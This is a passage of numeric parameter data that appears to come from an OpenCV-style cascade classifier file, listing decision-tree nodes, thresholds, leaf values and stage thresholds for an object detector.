492 -4.2590490193106234e-04 0 -1 493 + -9.4475867226719856e-03 -2 -3 494 -8.0220031738281250e-01 + + 1.4403289556503296e-01 -2.8053888678550720e-01 + 6.6430008411407471e-01 5.4834768176078796e-02 + <_> + + 0 1 495 -2.8851430397480726e-03 -1 2 496 + -1.2341480469331145e-03 -2 -3 497 4.8669218813301995e-05 + + -3.8836699724197388e-01 -3.6734551191329956e-01 + -7.8982323408126831e-02 3.0184748768806458e-01 + <_> + + 0 1 498 -1.6491800546646118e-01 -1 2 499 + 1.0784890037029982e-03 -2 -3 500 -2.8511860873550177e-03 + + 3.8886231184005737e-01 -2.4477399885654449e-01 + 4.5753139257431030e-01 -5.3499769419431686e-02 + <_> + + 2 1 501 -3.2212301157414913e-03 0 -1 502 + 3.4995030146092176e-03 -2 -3 503 -1.0098779574036598e-02 + + -2.4303850531578064e-01 1.5881340205669403e-01 + -5.5816608667373657e-01 3.2196229696273804e-01 + <_> + + 0 1 504 -6.6468201112002134e-04 -1 2 505 + -3.6263898946344852e-03 -2 -3 506 -7.6791420578956604e-02 + + 2.4572889506816864e-01 1.8094339966773987e-01 + 2.6634529232978821e-01 -3.5051029920578003e-01 + <_> + + 0 1 507 -2.7685859240591526e-03 2 -1 508 + 2.5676529854536057e-02 -2 -3 509 -4.6753739006817341e-03 + + -4.3504360318183899e-01 -3.5143280029296875e-01 + 4.1049909591674805e-01 3.3144820481538773e-02 + <_> + + 1 0 510 6.7022559233009815e-03 -1 2 511 + 1.6208000481128693e-02 -2 -3 512 -1.1024869978427887e-02 + + -4.9738308787345886e-01 -1.7945469915866852e-01 + 4.0457150340080261e-01 -4.3077580630779266e-02 + <_> + + 2 1 513 7.7911361586302519e-04 0 -1 514 + -1.8139690160751343e-01 -2 -3 515 -1.2972550466656685e-03 + + 5.1866638660430908e-01 -7.5364969670772552e-02 + -5.0643932819366455e-01 -1.7226299270987511e-02 + <_> + + 1 0 516 2.0431660115718842e-02 2 -1 517 + 1.6622639959678054e-03 -2 -3 518 -2.7155179996043444e-03 + + -7.0584601163864136e-01 -4.5102250576019287e-01 + -4.4598218798637390e-01 1.3886100053787231e-01 + <_> + + 0 1 519 4.2074210796272382e-05 2 -1 520 + 9.3489577993750572e-03 -2 -3 521 -1.3226609677076340e-02 + + -2.2170229256153107e-01 -4.6554449200630188e-01 + 5.4859870672225952e-01 6.7970179021358490e-02 + <_> + + 0 1 522 -1.5071720117703080e-03 2 -1 523 + 8.7646767497062683e-03 -2 -3 524 -1.0542649775743484e-02 + + 4.6481129527091980e-01 2.7992910146713257e-01 + 2.1239709854125977e-01 -2.2514510154724121e-01 + <_> + + 0 1 525 -6.4357798546552658e-03 2 -1 526 + 7.8919027000665665e-03 -2 -3 527 -7.8666176705155522e-05 + + -4.1811630129814148e-01 -6.2211698293685913e-01 + 2.7184090018272400e-01 -4.2934559285640717e-02 + <_> + + 1 0 528 8.2855960354208946e-03 2 -1 529 + 5.4834279580973089e-05 -2 -3 530 2.4197530001401901e-03 + + 3.4669309854507446e-01 7.2008788585662842e-02 + -3.7774428725242615e-01 1.7871029675006866e-01 + <_> + + 2 1 531 -6.7930121440440416e-04 0 -1 532 + -5.6035388261079788e-03 -2 -3 533 8.4534510970115662e-03 + + 1.6817240417003632e-01 -2.7659809589385986e-01 + 6.9586731493473053e-02 6.7284989356994629e-01 + <_> + + 1 0 534 4.4707441702485085e-03 -1 2 535 + -9.1664772480726242e-03 -2 -3 536 -7.1168012917041779e-02 + + -4.2183759808540344e-01 3.6319440603256226e-01 + -5.9520107507705688e-01 2.3322079330682755e-02 + <_> + + 1 2 537 -3.6344379186630249e-03 0 -1 538 + -5.8278841897845268e-03 -2 -3 539 -2.5245670694857836e-03 + + -3.5108420252799988e-01 2.7366310358047485e-01 + 1.4989720284938812e-01 -2.4933290481567383e-01 + <_> + + 1 0 540 5.6592230685055256e-03 2 -1 541 + 4.0714079514145851e-03 -2 -3 542 -1.1921550147235394e-02 + + -3.4733161330223083e-01 -4.7359859943389893e-01 + -4.0016528964042664e-01 1.5767680108547211e-01 + <_> + + 1 2 543 9.8874024115502834e-04 0 -1 544 + 1.4633700484409928e-03 -2 -3 545 -7.6617081649601460e-03 + + 2.1033559739589691e-01 -1.5317709743976593e-01 + 2.3481769859790802e-01 -3.7187078595161438e-01 + <_> + + 2 1 546 -1.7770569771528244e-02 0 -1 547 + 8.8388901203870773e-03 -2 -3 548 -1.0058529675006866e-02 + + -1.6414129734039307e-01 4.8245888948440552e-01 + -5.4388159513473511e-01 2.8127178549766541e-01 + <_> + + 1 0 549 2.8392190579324961e-03 -1 2 550 + -7.8546267468482256e-04 -2 -3 551 4.2725168896140531e-05 + + -3.8577800989151001e-01 -3.2860949635505676e-01 + -4.6654768288135529e-02 2.7741169929504395e-01 + <_> + + 1 0 552 5.1506902091205120e-03 -1 2 553 + -8.3640925586223602e-03 -2 -3 554 -8.8340323418378830e-03 + + 2.7348038554191589e-01 1.4315670728683472e-01 + 5.4049361497163773e-02 -3.6266559362411499e-01 + <_> + 16 + -1.3905019760131836e+00 + + <_> + + 1 2 555 1.7114889621734619e-01 0 -1 556 + 3.2740959431976080e-03 -2 -3 557 4.8062200658023357e-03 + + -5.5645358562469482e-01 5.5018130689859390e-02 + 1.1190200224518776e-02 7.9551488161087036e-01 + <_> + + 2 1 558 1.8143800552934408e-03 0 -1 559 + -4.2795971035957336e-01 -2 -3 560 -6.3261981122195721e-03 + + 5.8408319950103760e-01 -1.3940179720520973e-02 + 1.6659989953041077e-01 -5.0161522626876831e-01 + <_> + + 1 2 561 1.0702019557356834e-02 0 -1 562 + 7.3792198672890663e-03 -2 -3 563 4.8895571380853653e-03 + + -4.0653520822525024e-01 1.2877050042152405e-01 + 4.3990871310234070e-01 -7.8997397422790527e-01 + <_> + + 1 2 564 1.0012320242822170e-02 0 -1 565 + 3.4356310963630676e-01 -2 -3 566 -7.2859530337154865e-03 + + -2.5616368651390076e-01 4.6377441287040710e-01 + 5.8014488220214844e-01 -5.4609451442956924e-02 + <_> + + 0 1 567 -1.5099609736353159e-03 2 -1 568 + 2.9597719549201429e-04 -2 -3 569 1.0984730033669621e-04 + + -6.4054518938064575e-01 3.8956710696220398e-01 + -3.4113371372222900e-01 1.1111719906330109e-01 + <_> + + 0 1 570 -3.2580990809947252e-03 -1 2 571 + -3.8750080857425928e-03 -2 -3 572 1.4542469754815102e-02 + + -7.3414462804794312e-01 -6.3508582115173340e-01 + 1.7632520198822021e-01 -6.6695272922515869e-01 + <_> + + 1 0 573 2.6616070419549942e-02 2 -1 574 + 5.2236141636967659e-03 -2 -3 575 5.8677811175584793e-03 + + -7.5831902027130127e-01 -6.2622100114822388e-01 + -3.1810950487852097e-02 4.1031879186630249e-01 + <_> + + 2 1 576 -1.0499180061742663e-03 0 -1 577 + 2.3986180312931538e-03 -2 -3 578 1.1009530164301395e-02 + + -5.2936470508575439e-01 2.2620279341936111e-02 + 3.0528450012207031e-01 -7.4659830331802368e-01 + <_> + + 0 1 579 -2.3957889527082443e-02 -1 2 580 + -3.6849190946668386e-03 -2 -3 581 3.4864700865000486e-03 + + -5.8027571439743042e-01 3.0985590815544128e-01 + -3.1498908996582031e-01 1.3219730556011200e-01 + <_> + + 0 1 582 -1.9150340557098389e-01 -1 2 583 + -8.0496361479163170e-03 -2 -3 584 1.2236339971423149e-02 + + 4.3646478652954102e-01 1.7165799438953400e-01 + -3.6382019519805908e-01 2.3967529833316803e-01 + <_> + + 0 1 585 -2.0347100216895342e-03 -1 2 586 + -5.5528031662106514e-03 -2 -3 587 -3.2379259355366230e-03 + + -5.9768581390380859e-01 -5.4164600372314453e-01 + -5.3870290517807007e-01 1.8444229662418365e-01 + <_> + + 1 0 588 9.0606305748224258e-03 -1 2 589 + -4.1239038109779358e-03 -2 -3 590 3.5246899351477623e-03 + + 3.1039738655090332e-01 1.8052390217781067e-01 + -4.7347640991210938e-01 1.5349459834396839e-02 + <_> + + 1 0 591 5.2378959953784943e-03 -1 2 592 + -9.4280708581209183e-03 -2 -3 593 -7.9351589083671570e-03 + + -4.5859739184379578e-01 -6.3323330879211426e-01 + -6.1539369821548462e-01 1.6920439898967743e-01 + <_> + + 0 1 594 -7.7211041934788227e-03 2 -1 595 + 9.0800300240516663e-03 -2 -3 596 -4.3125250376760960e-03 + + -6.5861612558364868e-01 -7.1446138620376587e-01 + 3.4336578845977783e-01 -4.6265859156847000e-02 + <_> + + 1 0 597 2.3179050534963608e-02 -1 2 598 + -2.1390080451965332e-02 -2 -3 599 -2.3761409521102905e-01 + + 3.6338710784912109e-01 1.8276840448379517e-01 + 6.1675137281417847e-01 -3.4261471033096313e-01 + <_> + + 1 0 600 2.1705040708184242e-03 -1 2 601 + 7.8210679930634797e-05 -2 -3 602 5.5145919322967529e-03 + + 3.0056789517402649e-01 -3.4116759896278381e-01 + 2.3386859893798828e-01 -4.2150521278381348e-01 + <_> + 25 + -1.3378640413284302e+00 + + <_> + + 1 2 603 -2.2743379697203636e-02 0 -1 604 + 1.8450849456712604e-03 -2 -3 605 1.3338179886341095e-01 + + -8.9552268385887146e-02 7.4778342247009277e-01 + -4.4504231214523315e-01 -1.7580920830368996e-02 + <_> + + 0 1 606 6.3608489930629730e-02 -1 2 607 + -2.5199958682060242e-01 -2 -3 608 -1.2144230306148529e-01 + + -3.7739220261573792e-01 4.9088031053543091e-01 + 6.3825917243957520e-01 -1.1822170019149780e-01 + <_> + + 1 0 609 2.6287150103598833e-03 2 -1 610 + 3.0568530783057213e-03 -2 -3 611 8.1901780504267663e-05 + + -4.6926748752593994e-01 -6.5101218223571777e-01 + -1.1639259755611420e-01 3.0188819766044617e-01 + <_> + + 1 0 612 -1.6189720481634140e-03 2 -1 613 + 1.8283469835296273e-03 -2 -3 614 -3.9073298685252666e-03 + + -2.0891909301280975e-01 -1.9859300553798676e-01 + -3.4454259276390076e-01 3.7140819430351257e-01 + <_> + + 0 1 615 8.3928240928798914e-04 2 -1 616 + 3.7175789475440979e-03 -2 -3 617 5.1694628782570362e-03 + + -1.5356570482254028e-01 -5.0904238224029541e-01 + 3.5618001222610474e-01 -5.5773228406906128e-01 + <_> + + 1 0 618 2.5797619018703699e-03 -1 2 619 + -6.0318140313029289e-03 -2 -3 620 6.4257727935910225e-03 + + -4.2096439003944397e-01 -4.3999868631362915e-01 + 1.8873579800128937e-01 -4.5191749930381775e-01 + <_> + + 1 0 621 3.4354510717093945e-03 2 -1 622 + 2.3672808893024921e-03 -2 -3 623 -2.0294289570301771e-03 + + 2.7395468950271606e-01 2.3808500170707703e-01 + -4.7586150467395782e-02 -4.8159629106521606e-01 + <_> + + 0 1 624 -4.8436429351568222e-03 2 -1 625 + 3.0318649951368570e-03 -2 -3 626 -1.1691249907016754e-02 + + -4.9325150251388550e-01 -4.7109460830688477e-01 + -5.8763760328292847e-01 1.4840489625930786e-01 + <_> + + 1 0 627 6.5642758272588253e-05 2 -1 628 + -6.9199966674204916e-05 -2 -3 629 -2.8953890432603657e-04 + + 2.0787779986858368e-01 -4.2199170589447021e-01 + -3.4657689929008484e-01 2.4809280037879944e-01 + <_> + + 1 2 630 4.0080421604216099e-03 0 -1 631 + 5.0496991025283933e-04 -2 -3 632 -8.1637818366289139e-03 + + -2.9731631278991699e-01 6.3133187592029572e-02 + 6.3499641418457031e-01 -1.4965349435806274e-01 + <_> + + 1 0 633 4.9255997873842716e-03 -1 2 634 + -1.9985990598797798e-02 -2 -3 635 6.5322928130626678e-03 + + -5.8709067106246948e-01 4.1946971416473389e-01 + -1.3393980264663696e-01 2.6131281256675720e-01 + <_> + + 1 0 636 5.1231118850409985e-03 2 -1 637 + -4.0335211087949574e-04 -2 -3 638 2.9234900139272213e-03 + + -3.6397430300712585e-01 -1.1776120215654373e-01 + -1.2529510073363781e-02 4.6132311224937439e-01 + <_> + + 1 0 639 3.5967670381069183e-02 2 -1 640 + 6.5072569996118546e-03 -2 -3 641 -1.0821050032973289e-02 + + 4.5991379022598267e-01 3.2189390063285828e-01 + 3.0423519015312195e-01 -2.0769970118999481e-01 + <_> + + 0 1 642 -3.7279170937836170e-03 -1 2 643 + -8.9352466166019440e-03 -2 -3 644 3.9792140014469624e-03 + + -4.7056239843368530e-01 3.1361898779869080e-01 + -1.8559350073337555e-01 3.0811190605163574e-01 + <_> + + 1 0 645 1.9110339926555753e-03 -1 2 646 + -6.8130958825349808e-03 -2 -3 647 -6.4241990912705660e-04 + + -4.4997429847717285e-01 -4.4663950800895691e-01 + 2.5373989343643188e-01 -6.7794866859912872e-02 + <_> + + 1 0 648 4.8487721942365170e-03 -1 2 649 + -2.2816660348325968e-03 -2 -3 650 -1.1166459880769253e-03 + + 2.1777780354022980e-01 7.4151009321212769e-02 + 1.3762679696083069e-01 -4.5716550946235657e-01 + <_> + + 1 0 651 -5.7191308587789536e-03 2 -1 652 + 1.9458220340311527e-03 -2 -3 653 1.7544110305607319e-03 + + -2.0206199586391449e-01 5.1613742113113403e-01 + 1.8209919333457947e-01 -2.4927709996700287e-01 + <_> + + 1 0 654 6.5033212304115295e-03 2 -1 655 + 2.3260021116584539e-03 -2 -3 656 -5.0675291568040848e-03 + + -6.0831350088119507e-01 -4.5783790946006775e-01 + -4.6264541149139404e-01 1.3114589452743530e-01 + <_> + + 1 2 657 -1.4921430265530944e-03 0 -1 658 + -1.3755200430750847e-02 -2 -3 659 6.3531019259244204e-04 + + -4.3485641479492188e-01 2.0381599664688110e-01 + -3.2480859756469727e-01 1.9679710268974304e-01 + <_> + + 1 2 660 -1.0971709853038192e-03 0 -1 661 + 2.1464130841195583e-03 -2 -3 662 1.0343589819967747e-02 + + 2.2354440391063690e-01 -2.5036358833312988e-01 + -2.7500569820404053e-01 3.2847368717193604e-01 + <_> + + 0 1 663 -1.3076810538768768e-01 -1 2 664 + -8.7650436908006668e-03 -2 -3 665 -3.0066180624999106e-04 + + -7.7974641323089600e-01 3.8356649875640869e-01 + -3.0849298834800720e-01 5.5713050067424774e-02 + <_> + + 0 1 666 -1.0776310227811337e-02 2 -1 667 + 7.3227831162512302e-03 -2 -3 668 -2.1263879537582397e-01 + + -5.3079968690872192e-01 3.0776378512382507e-01 + -6.5190672874450684e-01 2.3253040853887796e-03 + <_> + + 1 0 669 6.5717170946300030e-03 -1 2 670 + -1.6367210075259209e-02 -2 -3 671 -1.5086789615452290e-02 + + 2.4296599626541138e-01 4.0867790579795837e-01 + 1.5299239754676819e-01 -2.5561499595642090e-01 + <_> + + 1 2 672 4.5563760213553905e-03 0 -1 673 + 7.2980518452823162e-03 -2 -3 674 2.3971209302544594e-02 + + 8.6251303553581238e-02 -5.1425570249557495e-01 + -6.8491697311401367e-01 3.9260080456733704e-01 + <_> + + 1 0 675 3.5279770381748676e-03 -1 2 676 + -5.4452237673103809e-03 -2 -3 677 8.1267702626064420e-04 + + -5.8989018201828003e-01 4.1997981071472168e-01 + -2.5605329871177673e-01 7.9393006861209869e-02 + <_> + 30 + -1.2140669822692871e+00 + + <_> + + 1 2 678 -2.7691459283232689e-02 0 -1 679 + 1.3043059734627604e-03 -2 -3 680 -1.9430460408329964e-02 + + -1.3037249445915222e-01 7.8108358383178711e-01 + 1.4480729587376118e-02 -3.7184581160545349e-01 + <_> + + 2 1 681 -1.2235040217638016e-01 0 -1 682 + -9.8456647247076035e-03 -2 -3 683 -7.4350096285343170e-02 + + 2.8437229990959167e-01 -2.3675830662250519e-01 + 5.8174878358840942e-01 -2.8041550889611244e-02 + <_> + + 0 1 684 5.4055661894381046e-03 -1 2 685 + -3.7805580068379641e-03 -2 -3 686 -6.2997087836265564e-02 + + -3.3748638629913330e-01 -4.6232721209526062e-01 + 4.2070108652114868e-01 -1.6759809805080295e-03 + <_> + + 0 1 687 -5.5793630890548229e-03 -1 2 688 + -2.2814329713582993e-03 -2 -3 689 3.9111520163714886e-03 + + -6.4612352848052979e-01 -4.6796101331710815e-01 + -2.5594810023903847e-02 3.3460310101509094e-01 + <_> + + 2 1 690 -3.5144959110766649e-03 0 -1 691 + -5.8226250112056732e-03 -2 -3 692 -3.5309740342199802e-03 + + 1.1143500357866287e-01 -3.0549728870391846e-01 + -3.7789401412010193e-01 2.9324159026145935e-01 + <_> + + 2 1 693 -1.6653330530971289e-03 0 -1 694 + -5.3326018154621124e-02 -2 -3 695 8.0891316756606102e-03 + + 1.7236860096454620e-01 -3.9026060700416565e-01 + -1.6290800645947456e-02 3.9434731006622314e-01 + <_> + + 0 1 696 -3.7783260922878981e-03 2 -1 697 + 6.9123809225857258e-03 -2 -3 698 -2.1676100790500641e-02 + + -5.9947258234024048e-01 3.4755259752273560e-01 + 3.3966198563575745e-01 -1.2729069590568542e-01 + <_> + + 1 0 699 4.8390422016382217e-03 -1 2 700 + -8.3583313971757889e-03 -2 -3 701 3.7209360743872821e-04 + + -3.6860859394073486e-01 3.6083450913429260e-01 + 5.5149830877780914e-02 -3.8888710737228394e-01 + <_> + + 1 0 702 2.4114940315485001e-03 -1 2 703 + -2.2250239271670580e-03 -2 -3 704 5.9994249604642391e-03 + + -3.4846460819244385e-01 2.5639998912811279e-01 + -3.3086439967155457e-01 6.3943088054656982e-02 + <_> + + 1 0 705 1.2653459794819355e-02 2 -1 706 + 9.6980258822441101e-03 -2 -3 707 4.6688161790370941e-02 + + -6.5382891893386841e-01 3.2730111479759216e-01 + 6.1174212023615837e-03 -5.0968867540359497e-01 + <_> + + 1 0 708 1.7876239726319909e-03 2 -1 709 + 1.2315230444073677e-02 -2 -3 710 -5.9714429080486298e-03 + + 2.5808030366897583e-01 1.8367570638656616e-01 + 9.3017883598804474e-02 -3.3489298820495605e-01 + <_> + + 0 1 711 -4.6226778067648411e-03 -1 2 712 + -1.8949989229440689e-02 -2 -3 713 -2.6787531375885010e-01 + + -6.0853439569473267e-01 -6.2188267707824707e-01 + -4.4505828619003296e-01 1.1461599916219711e-01 + <_> + + 1 2 714 5.3505371324717999e-03 0 -1 715 + 2.8202211251482368e-04 -2 -3 716 -2.1514539548661560e-04 + + -3.3214330673217773e-01 1.1352939903736115e-01 + 3.9949831366539001e-01 -7.2412580251693726e-02 + <_> + + 0 1 717 -7.1091961581259966e-04 -1 2 718 + 3.9453650970244780e-05 -2 -3 719 -1.5662070363759995e-02 + + -3.4575951099395752e-01 -1.4114260673522949e-01 + 4.7070771455764771e-01 8.7163902819156647e-02 + <_> + + 2 1 720 -2.9816610738635063e-02 0 -1 721 + 8.2333059981465340e-04 -2 -3 722 -4.9664578400552273e-03 + + -1.4977900311350822e-02 -4.1764840483665466e-01 + 4.4018781185150146e-01 -2.0097310189157724e-03 + <_> + + 1 2 723 9.6796536818146706e-03 0 -1 724 + 1.4388150302693248e-03 -2 -3 725 -6.5185758285224438e-04 + + -2.8451511263847351e-01 1.1680959910154343e-01 + 3.4258028864860535e-01 -2.7020359039306641e-01 + <_> + + 0 1 726 -4.6871218830347061e-02 -1 2 727 + -2.2867210209369659e-02 -2 -3 728 -1.1887500295415521e-03 + + -3.9659130573272705e-01 -3.4727048873901367e-01 + 2.6036709547042847e-01 -4.2848858982324600e-02 + <_> + + 1 0 729 4.3433779501356184e-04 -1 2 730 + -2.0600060001015663e-02 -2 -3 731 3.2824440859258175e-03 + + -2.2835609316825867e-01 -5.0135952234268188e-01 + 1.6683070361614227e-01 -5.0252157449722290e-01 + <_> + + 0 1 732 -1.9087310880422592e-02 -1 2 733 + -1.1216020211577415e-02 -2 -3 734 7.7710166573524475e-02 + + 4.1381299495697021e-01 1.5498070418834686e-01 + -2.9895618557929993e-01 1.7541980743408203e-01 + <_> + + 0 1 735 3.1873160041868687e-03 -1 2 736 + -1.0656990110874176e-01 -2 -3 737 -5.1779888570308685e-02 + + -8.5479579865932465e-02 -5.1295292377471924e-01 + -5.0179839134216309e-01 3.8466781377792358e-01 + <_> + + 1 0 738 1.5107400249689817e-03 2 -1 739 + 3.1244980636984110e-03 -2 -3 740 -1.3240240514278412e-03 + + -3.3874571323394775e-01 -2.1653899550437927e-01 + 3.3594998717308044e-01 -1.2085800059139729e-02 + <_> + + 0 1 741 -1.6975030303001404e-02 2 -1 742 + 7.9635268775746226e-04 -2 -3 743 -8.4425378590822220e-03 + + 5.1493197679519653e-01 -2.2367909550666809e-01 + -5.4637181758880615e-01 1.2477649748325348e-01 + <_> + + 1 0 744 1.4797519892454147e-02 2 -1 745 + 3.8537830114364624e-03 -2 -3 746 -2.5684939697384834e-02 + + 4.0930178761482239e-01 2.5966641306877136e-01 + 4.6507820487022400e-02 -3.1387579441070557e-01 + <_> + + 0 1 747 -1.9678380340337753e-03 2 -1 748 + 1.9392849644646049e-03 -2 -3 749 -5.7980217970907688e-03 + + -3.4348770976066589e-01 -2.3071029782295227e-01 + -4.2302230000495911e-01 1.8470630049705505e-01 + <_> + + 1 0 750 6.0432781465351582e-03 2 -1 751 + 2.2162510140333325e-04 -2 -3 752 -2.5901809567585588e-04 + + 2.0985080301761627e-01 -3.4345629811286926e-01 + -4.0245899558067322e-01 9.6283361315727234e-02 + <_> + + 0 1 753 -4.6646450646221638e-03 -1 2 754 + 1.8331389874219894e-03 -2 -3 755 -5.4393261671066284e-03 + + -4.0147981047630310e-01 -7.4128046631813049e-02 + -7.1304339170455933e-01 2.5141170620918274e-01 + <_> + + 1 2 756 -4.2101307772099972e-03 0 -1 757 + -8.6573585867881775e-03 -2 -3 758 -2.5619829073548317e-02 + + 5.5250108242034912e-01 -8.8310241699218750e-02 + 4.0513488650321960e-01 -1.2086849659681320e-01 + <_> + + 0 1 759 -9.3565601855516434e-03 -1 2 760 + -9.7968382760882378e-04 -2 -3 761 4.5081991702318192e-02 + + 1.4859180152416229e-01 1.5276379883289337e-01 + -3.3007758855819702e-01 4.9553450942039490e-01 + <_> + + 1 0 762 2.0435510668903589e-03 -1 2 763 + -5.1532210782170296e-03 -2 -3 764 2.5609789881855249e-03 + + -5.4895031452178955e-01 -5.9945631027221680e-01 + -3.6197409033775330e-02 2.5463849306106567e-01 + <_> + + 2 1 765 -2.8830259107053280e-03 0 -1 766 + 2.4457499966956675e-04 -2 -3 767 3.4641250967979431e-03 + + 3.6667680740356445e-01 -8.9348360896110535e-02 + -2.2523890435695648e-01 1.6340459883213043e-01 + <_> + 23 + -1.3826370239257812e+00 + + <_> + + 2 1 768 6.3124410808086395e-03 0 -1 769 + -2.9899911023676395e-03 -2 -3 770 -5.2643599919974804e-03 + + 8.2071298360824585e-01 5.6462198495864868e-02 + 1.8240800499916077e-01 -4.2487311363220215e-01 + <_> + + 1 2 771 2.4592089466750622e-03 0 -1 772 + 4.2719349265098572e-01 -2 -3 773 3.0295109376311302e-02 + + -3.3858558535575867e-01 1.5100230276584625e-01 + 7.8724241256713867e-01 -5.8373618125915527e-01 + <_> + + 1 0 774 5.7569369673728943e-03 -1 2 775 + -9.9140219390392303e-03 -2 -3 776 8.0783478915691376e-03 + + 4.2810270190238953e-01 3.5321989655494690e-01 + -4.0107539296150208e-01 1.2523290514945984e-01 + <_> + + 0 1 777 -3.5829450935125351e-02 2 -1 778 + 3.0664550140500069e-02 -2 -3 779 -1.3575930148363113e-02 + + -3.8963070511817932e-01 6.7701917886734009e-01 + 3.0789810419082642e-01 -1.1214990168809891e-01 + <_> + + 0 1 780 -3.1188609078526497e-02 -1 2 781 + -1.7885420471429825e-02 -2 -3 782 2.3879480431787670e-04 + + -5.0550907850265503e-01 -5.2990978956222534e-01 + 2.6112490892410278e-01 -1.2882560491561890e-01 + <_> + + 1 0 783 8.5746757686138153e-03 2 -1 784 + 2.3016470950096846e-03 -2 -3 785 4.6683140099048615e-03 + + 4.8921179771423340e-01 1.5979060530662537e-01 + -3.8685420155525208e-01 2.4002879858016968e-01 + <_> + + 1 0 786 5.3485399112105370e-03 2 -1 787 + 2.3726709187030792e-02 -2 -3 788 -3.0209170654416084e-04 + + 3.4825628995895386e-01 5.2329671382904053e-01 + -4.4047841429710388e-01 -3.3358339220285416e-02 + <_> + + 0 1 789 -1.6881260275840759e-01 -1 2 790 + -1.8069280486088246e-04 -2 -3 791 -2.7342080138623714e-03 + + -6.5631157159805298e-01 -2.7557009458541870e-01 + 4.0996900200843811e-01 3.1245049089193344e-02 + <_> + + 2 1 792 -3.1896680593490601e-03 0 -1 793 + -1.6777559649199247e-03 -2 -3 794 7.5925810961052775e-04 + + 3.1674280762672424e-01 -1.3047559559345245e-01 + 8.2382179796695709e-02 7.4721777439117432e-01 + <_> + + 1 2 795 1.7604179680347443e-02 0 -1 796 + -2.5936108827590942e-01 -2 -3 797 -2.4794649798423052e-03 + + 2.6953551173210144e-01 -3.3992108702659607e-01 + 5.0643271207809448e-01 2.7994990348815918e-02 + <_> + + 0 1 798 -5.7244639843702316e-02 -1 2 799 + -2.9133851057849824e-04 -2 -3 800 3.0808679759502411e-02 + + -6.9636821746826172e-01 -3.1919568777084351e-01 + 1.3237810134887695e-01 -7.6749938726425171e-01 + <_> + + 1 0 801 2.8046660125255585e-02 2 -1 802 + -3.7829200737178326e-03 -2 -3 803 -1.3911469839513302e-02 + + 6.9832587242126465e-01 -2.1438920497894287e-01 + 3.3778458833694458e-01 -9.6943713724613190e-02 + <_> + + 0 1 804 -9.6410012338310480e-04 -1 2 805 + -4.1028819978237152e-03 -2 -3 806 7.6512782834470272e-04 + + 2.7303680777549744e-01 1.8931980431079865e-01 + -3.2082849740982056e-01 8.1871077418327332e-02 + <_> + + 0 1 807 -2.2203559638001025e-04 -1 2 808 + -2.5135980104096234e-04 -2 -3 809 -1.7842829402070493e-04 + + -2.9679200053215027e-01 -2.7259480953216553e-01 + -2.2551620006561279e-01 2.9105350375175476e-01 + <_> + + 1 0 810 2.2679679095745087e-02 -1 2 811 + -1.4839429641142488e-03 -2 -3 812 -9.7775906324386597e-02 + + 6.0594111680984497e-01 5.8346527814865112e-01 + -5.1989138126373291e-01 -2.1351039409637451e-02 + <_> + + 2 1 813 -2.1942430175840855e-03 0 -1 814 + 9.6272170543670654e-02 -2 -3 815 2.5899629108607769e-03 + + -2.3860040307044983e-01 4.5208680629730225e-01 + -3.2299709320068359e-01 2.3171809315681458e-01 + <_> + + 1 0 816 5.4749320261180401e-03 -1 2 817 + -1.4976410195231438e-02 -2 -3 818 -7.3499558493494987e-03 + + 2.6661419868469238e-01 -4.7525641322135925e-01 + 3.6936700344085693e-01 -1.0437080264091492e-01 + <_> + + 1 0 819 8.0258701927959919e-04 -1 2 820 + -3.1779240816831589e-03 -2 -3 821 -1.6361019515898079e-04 + + -2.6545119285583496e-01 -2.6746180653572083e-01 + -1.3902419805526733e-01 2.9700610041618347e-01 + <_> + + 1 0 822 -3.0408808961510658e-03 -1 2 823 + -1.2945629656314850e-02 -2 -3 824 -1.7983650788664818e-02 + + -1.0607139766216278e-01 -4.2864450812339783e-01 + 5.3250139951705933e-01 6.2068658880889416e-03 + <_> + + 1 0 825 3.5721210297197104e-03 2 -1 826 + 3.3481561113148928e-03 -2 -3 827 -2.7103780303150415e-04 + + 2.8643238544464111e-01 5.2708417177200317e-01 + -4.0083900094032288e-01 -1.1597709730267525e-02 + <_> + + 0 1 828 -3.5315480083227158e-02 -1 2 829 + -3.3448180183768272e-03 -2 -3 830 -3.6211799830198288e-02 + + -6.4248001575469971e-01 1.6799710690975189e-01 + -4.4045579433441162e-01 7.2158249095082283e-03 + <_> + + 1 0 831 9.7624881891533732e-04 2 -1 832 + 3.9304429083131254e-04 -2 -3 833 -9.0960100293159485e-02 + + -3.3223769068717957e-01 -2.9518169164657593e-01 + -2.6596671342849731e-01 1.9091020524501801e-01 + <_> + + 0 1 834 -9.7260335460305214e-03 2 -1 835 + 6.3109961338341236e-03 -2 -3 836 -1.8113269470632076e-04 + + 4.3416848778724670e-01 3.6779248714447021e-01 + -3.8609200716018677e-01 -2.1463580429553986e-02 + <_> + 33 + -1.2412749528884888e+00 + + <_> + + 2 1 837 2.1084180101752281e-02 0 -1 838 + -2.1115990821272135e-03 -2 -3 839 -3.7253301125019789e-03 + + 7.7905070781707764e-01 -9.1717608273029327e-02 + 3.5618048161268234e-02 -3.5509699583053589e-01 + <_> + + 2 1 840 -4.9224868416786194e-02 0 -1 841 + -1.2256789952516556e-02 -2 -3 842 -1.7591969808563590e-03 + + 2.3374380171298981e-01 -2.0726789534091949e-01 + 7.1231132745742798e-01 1.5468549728393555e-01 + <_> + + 1 0 843 -1.3072569854557514e-02 -1 2 844 + 1.0713989846408367e-02 -2 -3 845 2.7589630335569382e-03 + + -1.7413349449634552e-01 -1.3037489354610443e-01 + 4.3284869194030762e-01 -6.6202241182327271e-01 + <_> + + 0 1 846 -7.0322921965271235e-04 2 -1 847 + 3.2859561033546925e-03 -2 -3 848 -1.5731799649074674e-03 + + -4.2838820815086365e-01 -4.5926880836486816e-01 + -4.6182459592819214e-01 1.7856159806251526e-01 + <_> + + 0 1 849 -6.4174369908869267e-03 -1 2 850 + 1.6610589809715748e-03 -2 -3 851 1.5099810436367989e-02 + + -5.4262351989746094e-01 -6.4273983240127563e-02 + 4.0244659781455994e-01 -6.2330418825149536e-01 + <_> + + 1 0 852 1.6554270405322313e-03 -1 2 853 + -3.3705390524119139e-03 -2 -3 854 -1.0568870231509209e-02 + + -4.5953160524368286e-01 3.0769738554954529e-01 + 2.8306689858436584e-01 -1.5513870120048523e-01 + <_> + + 2 1 855 -1.5460990369319916e-02 0 -1 856 + 1.0563080199062824e-02 -2 -3 857 -2.5313820224255323e-03 + + -2.3533730208873749e-01 1.7863610386848450e-01 + -3.9789968729019165e-01 3.4673249721527100e-01 + <_> + + 1 2 858 -1.1370539665222168e-02 0 -1 859 + 5.1206751959398389e-04 -2 -3 860 2.0633509848266840e-03 + + 3.5862970352172852e-01 -2.6715761423110962e-01 + -2.3807419836521149e-01 